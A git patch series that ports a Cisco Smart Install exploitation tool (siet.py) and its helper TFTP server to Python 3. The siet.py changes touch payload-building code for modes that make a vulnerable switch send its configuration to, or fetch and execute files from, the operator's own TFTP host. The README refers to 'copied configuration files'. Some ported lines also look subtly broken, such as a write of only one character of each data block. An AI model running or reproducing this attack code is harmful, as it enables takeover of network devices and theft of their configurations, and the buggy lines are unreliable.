From be6cc18f40b65dfa08f7abd3eadd89d275c68211 Mon Sep 17 00:00:00 2001 From: Bradley Konsela Date: Thu, 6 May 2021 15:41:41 -0600 Subject: [PATCH 1/5] First pass of sTFTP. Changed print statements to be python3-compliant. Using .format, fixed some typos --- sTFTP.py | 68 ++++++++++++++++++++++++++++++++------------------------ 1 file changed, 39 insertions(+), 29 deletions(-) diff --git a/sTFTP.py b/sTFTP.py index 3fb60d9..aa1c843 100644 --- a/sTFTP.py +++ b/sTFTP.py @@ -14,23 +14,25 @@ def TftpServer(sBindIp, SocketTimeout): - print '-= DvK =- TFTP server 2017(p)' + print("-= DvK =- TFTP server 2017(p)") + print("[INFO]: Creating directory.") try: os.mkdir('tftp') + print("OK.") except OSError: - print('[INFO]: Directory already exists. OK.') + print("[INFO]: Directory already exists.") - print '[INFO]: binding socket ..', + print("[INFO]: Binding socket .. ") try: ConnUDP = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) ConnUDP.settimeout(SocketTimeout) ConnUDP.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) ConnUDP.bind((sBindIp, TFTP_SERVER_PORT)) except socket.error as msg: - print 'error: %s' % msg + print("Error: {}".format(msg)) return - print 'ok' + print("OK.") dPort = TFTP_MIN_DATA_PORT while True: @@ -40,7 +42,7 @@ def TftpServer(sBindIp, SocketTimeout): pass except socket.error: return - print '[INFO]: connect from ', raddress, rport + print("[INFO]: Connect from {}:{}".format(raddress, rport)) sReq = '' tReq = ord(buff[1]) if tReq == TFTP_GET_BYTE: @@ -50,41 +52,46 @@ def TftpServer(sBindIp, SocketTimeout): sReq = 'put' fMode = 'w' if len(sReq) == 0: - print '[ERR]: illegal TFTP request', tReq + print("[ERR]: Illegal TFTP request".format(tReq)) sUdp = '\x00\x05\x00\x01Illegal TFTP request\x00' ConnUDP.sendto(sUdp, (raddress, rport)) continue ss = buff[2:].split('\0') nFile = ss[0] sType = ss[1] - print '[INFO]:[' + raddress + '] ' + sReq + 'ing file', nFile, sType + print("[INFO]:[{}] {}ting file {} {}".format(raddress, sReq, nFile, sType)) + if (sType == 'octet'): fMode += 'b' + try: f = open(TFTP_FILES_PATH + '/' + nFile, fMode) except IOError: - print '[INFO]:[' + raddress + ']:[' + sReq + '] error open file: ' + TFTP_FILES_PATH + '/' + nFile + print("[INFO]:[{}]:[{}] Error opening file: {}/{}".format(raddress, sReq, TFTP_FILES_PATH, nFile)) sUdp = '\x00\x05\x00\x01Error open file\x00' ConnUDP.sendto(sUdp, (raddress, rport)) continue + try: ConnDATA = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) ConnDATA.settimeout(SocketTimeout) ConnDATA.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) ConnDATA.bind(('', dPort)) except socket.error: - print '[ERR]:[' + raddress + ']:[' + sReq + '] error binding dataport', dPort + print("[ERR]:[{}]:[{}] Error binding data port {}".format(raddress, sReq, dPort)) sUdp = '\x00\x05\x00\x01Internal error\x00' ConnUDP.sendto(sUdp, (raddress, rport)) f.close() continue - print '[INFO]:[' + raddress + ']:[' + sReq + '] success binding data port', dPort + + print("[INFO]:[{}]:[{}] Success binding data port {}".format(raddress, sReq, dPort)) + dPort += 1 if dPort == TFTP_MAX_DATA_PORT: dPort = TFTP_MIN_DATA_PORT child_pid = os.fork() if child_pid < 0: - print '[ERR]:[' + raddress + ']:[' + sReq + '] error forking new process' + print("[ERR]:[{}]:[{}] Error forking new process".format(raddress, sReq)) sUdp = '\x00\x05\x00\x01Internal error\x00' ConnUDP.sendto(sUdp, (raddress, rport)) f.close() @@ -95,20 +102,22 @@ def TftpServer(sBindIp, SocketTimeout): sUdp = '0004' + ('%04x' % 0) ConnDATA.sendto(sUdp.decode('hex'), (raddress, rport)) fSize = 0 - buffer, (raddress, rport) = ConnDATA.recvfrom(MAX_BLKSIZE) - while buffer: - fSize += len(buffer[4:]) - f.write(buffer[4:]) - sUdp = '\x00\x04' + buffer[2:4] + buff, (raddress, rport) = ConnDATA.recvfrom(MAX_BLKSIZE) + while buff: + fSize += len(buff[4:]) + f.write(buff[4:]) + sUdp = '\x00\x04' + buff[2:4] ConnDATA.sendto(sUdp, (raddress, rport)) - if len(buffer[4:]) < DEF_BLKSIZE: + if len(buff[4:]) < DEF_BLKSIZE: break - buffer, (raddress, rport) = ConnDATA.recvfrom(MAX_BLKSIZE) + buff, (raddress, rport) = ConnDATA.recvfrom(MAX_BLKSIZE) if int(fSize / ECHO_FILE_SIZE) * ECHO_FILE_SIZE == fSize: - print '[INFO]:[' + raddress + ']:[' + sReq + '] file ' + TFTP_FILES_PATH + '/' + nFile + ' downloading, size:', fSize + print("[INFO]:[{}]:[{}] File {}/{} downloading, size: {}".format( + raddress, sReq, TFTP_FILES_PATH, nFile, fSize)) f.close() ConnDATA.close() - print '[INFO]:[' + raddress + ']:[' + sReq + '] file ' + TFTP_FILES_PATH + '/' + nFile + ' finish download, size:', fSize + print("[INFO]:[{}]:[{}] File {}/{} finished downloading, size: {}".format( + raddress, sReq, TFTP_FILES_PATH, nFile, fSize) sys.exit(0) if sReq == 'get': data = f.read(DEF_BLKSIZE) @@ -118,28 +127,29 @@ def TftpServer(sBindIp, SocketTimeout): sUdp = ('0003' + ('%04x' % j)).decode('hex') + data ConnDATA.sendto(sUdp, (raddress, rport)) try: - buffer, (raddress, rport) = ConnDATA.recvfrom(MAX_BLKSIZE) + buff, (raddress, rport) = ConnDATA.recvfrom(MAX_BLKSIZE) except socket.error: - print '[ERR]:[' + raddress + ']:[' + sReq + '] error upload file ' + TFTP_FILES_PATH + '/' + nFile + print("[ERR]:[{}]:[{}] Error uploading file {}/{}".format(raddress, sReq, TFTP_FILES_PATH, nFile)) break - nBlock = int(buffer[2:4].encode('hex'), 16) - if ord(buffer[1]) != 4 or nBlock != j: - print '[ERR]:[' + raddress + ']:[' + sReq + '] answer packet not valid:', ord( - buffer[1]), nBlock, j + nBlock = int(buff[2:4].encode('hex'), 16) + if ord(buff[1]) != 4 or nBlock != j: + print("[ERR]:[{}]:[{}] Answer packet not valid: {}".format(raddress, sReq, ord(buff[1]), nBlock, j)) break if len(data) < DEF_BLKSIZE: break data = f.read(DEF_BLKSIZE) fSize += len(data) if int(fSize / ECHO_FILE_SIZE) * ECHO_FILE_SIZE == fSize: - print '[INFO]:[' + raddress + ']:[' + sReq + '] file ' + TFTP_FILES_PATH + '/' + nFile + ' uploading success, size:', fSize + print("[INFO]:[{}]:[{}] File {}/{} uploading success, size: {}".format( + raddress, sReq, TFTP_FILES_PATH, nFile, fSize)) if j == MAX_BLKCOUNT: j = 0 else: j += 1 f.close() ConnDATA.close() - print '[INFO]:[' + raddress + ']:[' + sReq + '] file ' + TFTP_FILES_PATH + '/' + nFile + ' finish upload, size:', fSize + print("[INFO]:[{}]:[{}] File {}/{} finished uploading, size: {}".format( + raddress, sReq, TFTP_FILES_PATH, nFile, fSize)) sys.exit(0) sys.exit(0) From 185db2435d5ab02a6d228a044760a55301ee8de7 Mon Sep 17 00:00:00 2001 From: Bradley Konsela Date: Thu, 6 May 2021 16:30:25 -0600 Subject: [PATCH 2/5] Whoops, missed a parenthesis --- sTFTP.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/sTFTP.py b/sTFTP.py index aa1c843..277d5ce 100644 --- a/sTFTP.py +++ b/sTFTP.py @@ -117,7 +117,7 @@ def TftpServer(sBindIp, SocketTimeout): f.close() ConnDATA.close() print("[INFO]:[{}]:[{}] File {}/{} finished downloading, size: {}".format( - raddress, sReq, TFTP_FILES_PATH, nFile, fSize) + raddress, sReq, TFTP_FILES_PATH, nFile, fSize)) sys.exit(0) if sReq == 'get': data = f.read(DEF_BLKSIZE) From 8e3cac4791662b8cd9419c3373d4c64a895b39f5 Mon Sep 17 00:00:00 2001 From: Bradley Konsela Date: Fri, 7 May 2021 21:35:59 -0600 Subject: [PATCH 3/5] Add hex encode/decode functions. Conditionals for encoding ty bytes type as required for Python 3 --- sTFTP.py | 57 +++++++++++++++++++++++++++++++++++++++++++++----------- 1 file changed, 46 insertions(+), 11 deletions(-) diff --git a/sTFTP.py b/sTFTP.py index 277d5ce..3d14c90 100644 --- a/sTFTP.py +++ b/sTFTP.py @@ -1,5 +1,7 @@ import sys, os, socket +from codecs import encode, decode + TFTP_FILES_PATH = 'tftp' # path to files for transfering TFTP_SERVER_PORT = 69 TFTP_GET_BYTE = 1 @@ -12,6 +14,7 @@ MAX_BLKSIZE = 0x10000 MAX_BLKCOUNT = 0xffff +python_version = sys.version_info[0] def TftpServer(sBindIp, SocketTimeout): print("-= DvK =- TFTP server 2017(p)") @@ -19,7 +22,7 @@ def TftpServer(sBindIp, SocketTimeout): print("[INFO]: Creating directory.") try: os.mkdir('tftp') - print("OK.") + print("[INFO]: Directory created.") except OSError: print("[INFO]: Directory already exists.") @@ -30,19 +33,21 @@ def TftpServer(sBindIp, SocketTimeout): ConnUDP.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) ConnUDP.bind((sBindIp, TFTP_SERVER_PORT)) except socket.error as msg: - print("Error: {}".format(msg)) + print("[ERR]: {}".format(msg)) return - print("OK.") + print("[INFO]: Socket bound successfully.") dPort = TFTP_MIN_DATA_PORT while True: try: buff, (raddress, rport) = ConnUDP.recvfrom(MAX_BLKSIZE) + if python_version == 3: + buff = buff.decode() except socket.timeout: pass except socket.error: return - print("[INFO]: Connect from {}:{}".format(raddress, rport)) + print("[INFO]: Connection from {}:{}".format(raddress, rport)) sReq = '' tReq = ord(buff[1]) if tReq == TFTP_GET_BYTE: @@ -100,17 +105,31 @@ def TftpServer(sBindIp, SocketTimeout): if child_pid == 0: if sReq == 'put': sUdp = '0004' + ('%04x' % 0) - ConnDATA.sendto(sUdp.decode('hex'), (raddress, rport)) + ConnDATA.sendto(hex_decode(sUdp), (raddress, rport)) fSize = 0 buff, (raddress, rport) = ConnDATA.recvfrom(MAX_BLKSIZE) + if python_version == 3: + buff = buff.decode() + while buff: fSize += len(buff[4:]) - f.write(buff[4:]) + if python_version == 2: + f.write(buff[4:]) + elif python_version == 3: + f.write(bytes(buff[4], 'ascii')) + sUdp = '\x00\x04' + buff[2:4] - ConnDATA.sendto(sUdp, (raddress, rport)) + if python_version == 2: + ConnDATA.sendto(sUdp, (raddress, rport)) + elif python_version == 3: + ConnDATA.sendto(bytes(sUdp, 'ascii'), (raddress, rport)) + if len(buff[4:]) < DEF_BLKSIZE: break buff, (raddress, rport) = ConnDATA.recvfrom(MAX_BLKSIZE) + if python_version == 3: + buff = buff.decode() + if int(fSize / ECHO_FILE_SIZE) * ECHO_FILE_SIZE == fSize: print("[INFO]:[{}]:[{}] File {}/{} downloading, size: {}".format( raddress, sReq, TFTP_FILES_PATH, nFile, fSize)) @@ -124,14 +143,20 @@ def TftpServer(sBindIp, SocketTimeout): fSize = len(data) j = 1 while data: - sUdp = ('0003' + ('%04x' % j)).decode('hex') + data - ConnDATA.sendto(sUdp, (raddress, rport)) + sUdp = hex_decode('0003' + ('%04x' % j)) + data + if python_version == 2: + ConnDATA.sendto(sUdp, (raddress, rport)) + elif python_version == 3: + ConnDATA.sendto(bytes(sUdp, 'ascii'), (raddress, rport)) + try: buff, (raddress, rport) = ConnDATA.recvfrom(MAX_BLKSIZE) + if python_version == 3: + buff = buff.decode() except socket.error: print("[ERR]:[{}]:[{}] Error uploading file {}/{}".format(raddress, sReq, TFTP_FILES_PATH, nFile)) break - nBlock = int(buff[2:4].encode('hex'), 16) + nBlock = int(hex_encode(buff[2:4]), 16) if ord(buff[1]) != 4 or nBlock != j: print("[ERR]:[{}]:[{}] Answer packet not valid: {}".format(raddress, sReq, ord(buff[1]), nBlock, j)) break @@ -153,7 +178,17 @@ def TftpServer(sBindIp, SocketTimeout): sys.exit(0) sys.exit(0) +# Version-agnostic hex encoding and decoding functions +def hex_encode(toEncode): + if python_version == 2: + return toEncode.encode('hex') + elif python_version == 3: + return encode(bytes(toEncode, 'ascii'), 'hex').decode() -########################################################################################## +def hex_decode(toDecode): + if python_version == 2: + return toDecode.decode('hex') + elif python_version == 3: + return decode(toDecode, 'hex') TftpServer('', TFTP_SOCK_TIMEOUT) From 1bbc601ba2814f6f6e0ac7000fa403f25d6bb81e Mon Sep 17 00:00:00 2001 From: Bradley Konsela Date: Fri, 7 May 2021 21:36:37 -0600 Subject: [PATCH 4/5] More calls to hex encode/decode functions --- siet.py | 55 +++++++++++++++++++++++++++++++++++-------------------- 1 file changed, 35 insertions(+), 20 deletions(-) diff --git a/siet.py b/siet.py index a340dfe..b9e37f3 100755 --- a/siet.py +++ b/siet.py @@ -10,12 +10,16 @@ import subprocess import time import threading + +from codecs import encode, decode + +python_version = sys.version_info[0] + try: import Queue as queue except ImportError: # Queue is queue in python3 - print('[ERROR]: Does not support python3 yet!') - raise SystemExit + import queue def get_argm_from_user(): # Set arguments for running parser = argparse.ArgumentParser() @@ -154,7 +158,7 @@ def conn_with_client(data, ip, mode=0): # Set connection with remote client print('[INFO]: {0} is not affected'.format(ip)) break elif (len(data) == 24): - if (data.encode('hex') == resp): + if (hex_encode(data) == resp): print('[INFO]: Smart Install Client feature active on {0}'.format(ip)) print('[INFO]: {0} is affected'.format(ip)) break @@ -198,8 +202,8 @@ def test_device(current_ip): # Testing for smart install # print('[DEBUG]: Packet for sent: ' + sTcp) print('[INFO]: Sending TCP packet to %s ' % current_ip) - # print('[DEBUG]: Decoded packet to sent: ' + sTcp.decode('hex')) - conn_with_client(sTcp.decode('hex'), current_ip, mode=1) + # print('[DEBUG]: Decoded packet to sent: ' + hex_decode(sTcp)) + conn_with_client(hex_decode(sTcp), current_ip, mode=1) def test_device_scheduler(hosts_to_scan_queue): while not hosts_to_scan_queue.empty(): @@ -221,20 +225,18 @@ def change_tftp(mode, current_ip): # Send package for changing tftp address sDump1 = '0' * 7 + '1' + '0' * 7 + '1' + '0' * 7 + '3' + '0' * 5 + '128' + '0' * 7 + '3' + '0' * 23 + '2' + '0' * 15 + '1' + '0' * 6 sDump2 = '0' * (264 - len(fConf) * 2) - sTcp = sDump1 + ('%02x' % int(sTime[0:2])) + '0' * 6 + ('%02x' % int(sTime[3:5])) + '0' * 264 + fConf.encode( - 'hex') + sDump2 + sTcp = sDump1 + ('%02x' % int(sTime[0:2])) + '0' * 6 + ('%02x' % int(sTime[3:5])) + '0' * 264 + hex_encode(fConf) + sDump2 elif mode == 'change_multi': if not os.path.isdir("tftp/conf") and not os.path.exists("tftp/conf"): - os.mkdir('tftp/conf', 0755); + os.mkdir('tftp/conf', 0o755); config_file = 'conf/' + current_ip + '.conf' fConf = 'tftp://' + my_ip + '/' + config_file sTime = '00:01' sDump1 = '0' * 7 + '1' + '0' * 7 + '1' + '0' * 7 + '3' + '0' * 5 + '128' + '0' * 7 + '3' + '0' * 23 + '2' + '0' * 15 + '1' + '0' * 6 sDump2 = '0' * (264 - len(fConf) * 2) - sTcp = sDump1 + ('%02x' % int(sTime[0:2])) + '0' * 6 + ('%02x' % int(sTime[3:5])) + '0' * 264 + fConf.encode( - 'hex') + sDump2 + sTcp = sDump1 + ('%02x' % int(sTime[0:2])) + '0' * 6 + ('%02x' % int(sTime[3:5])) + '0' * 264 + hex_encode(fConf) + sDump2 elif mode == 'get_config': # need more test with this payload ( "system:" may be more usefull then "nvram:" @@ -246,9 +248,9 @@ def change_tftp(mode, current_ip): # Send package for changing tftp address sTcp = '0' * 7 + '1' + '0' * 7 + '1' + '0' * 7 + '800000' + '40800010014' + '0' * 7 + '10' + '0' * 7 + 'fc994737866' + '0' * 7 + '0303f4' - sTcp = sTcp + c1.encode('hex') + '00' * (336 - len(c1)) - sTcp = sTcp + c2.encode('hex') + '00' * (336 - len(c2)) - sTcp = sTcp + c3.encode('hex') + '00' * (336 - len(c3)) + sTcp = sTcp + hex_encode(c1) + '00' * (336 - len(c1)) + sTcp = sTcp + hex_encode(c2) + '00' * (336 - len(c2)) + sTcp = sTcp + hex_encode(c3) + '00' * (336 - len(c3)) elif mode == 'update_ios': get_ios_for_tftp() @@ -261,7 +263,7 @@ def change_tftp(mode, current_ip): # Send package for changing tftp address else: sTcp += '%08x' % 0x801 + '%024x' % 0 + '%08x' % 1 + '%08x' % int(sTime[0:2]) + '%08x' % int( sTime[3:5]) + '%08x' % 1 - sTcp += fList.encode('hex') + '00' * (415 - len(fList)) + '01' + sTcp += hex_encode(fList) + '00' * (415 - len(fList)) + '01' elif mode == 'execute': exec_file = get_file_for_tftp('execute') @@ -271,14 +273,14 @@ def change_tftp(mode, current_ip): # Send package for changing tftp address c3 = 'tftp://' + my_ip + '/' + exec_file sTcp = '%08d' % 2 + '%08d' % 1 + '%08d' % 5 + '%08d' % 210 + '%08d' % 1 - sTcp = sTcp + c1.encode('hex') + '00' * (128 - len(c1)) - sTcp = sTcp + c2.encode('hex') + '00' * (264 - len(c2)) - sTcp = sTcp + c3.encode('hex') + '00' * (131 - len(c3)) + '01' + sTcp = sTcp + hex_encode(c1) + '00' * (128 - len(c1)) + sTcp = sTcp + hex_encode(c2) + '00' * (264 - len(c2)) + sTcp = sTcp + hex_encode(c3) + '00' * (131 - len(c3)) + '01' # print('[DEBUG]: Packet for sent: ' + sTcp) print('[INFO]: Sending TCP packet to %s ' % current_ip) - # print('[DEBUG]: Decoded packet to sent: ' + sTcp.decode('hex')) - conn_with_client(sTcp.decode('hex'), current_ip) + # print('[DEBUG]: Decoded packet to sent: ' + hex_decode(sTcp)) + conn_with_client(hex_decode(sTcp), current_ip) def main(): @@ -308,7 +310,7 @@ def main(): test_device(current_ip) else: - tftp = subprocess.Popen(["python2.7", "sTFTP.py"]) + tftp = subprocess.Popen(["python", "sTFTP.py"]) if args.mode != 'change_multi' and args.mode != 'get_config': current_ip = args.IP @@ -365,6 +367,19 @@ def worker(): time.sleep(60) tftp.terminate() +# Version-agnostic functions to encode and decode hex strings + +def hex_encode(toEncode): + if python_version == 2: + return toEncode.encode('hex') + elif python_version == 3: + return encode(bytes(toEncode, 'ascii'), 'hex').decode() + +def hex_decode(toDecode): + if python_version == 2: + return toDecode.decode('hex') + elif python_version == 3: + return decode(toDecode, 'hex') main() From 06406b5b02c34486139d349fae052bcf89aba95b Mon Sep 17 00:00:00 2001 From: Bradley Konsela Date: Sat, 8 May 2021 13:41:26 -0600 Subject: [PATCH 5/5] Update README --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index 0d0b457..2635819 100644 --- a/README.md +++ b/README.md @@ -72,6 +72,8 @@ New option `-l`. You can use list of ip addresses for getting configuration file Fix bug with incorrect test of device. +Added support for Python 3 + If you are thinking about what to do with the copied configuration files, you can try our new tool: [Cisco Config Analysis Tool](https://github.com/cisco-config-analysis-tool/ccat) If you have any questions, please write me at telegram: @sab0tag3d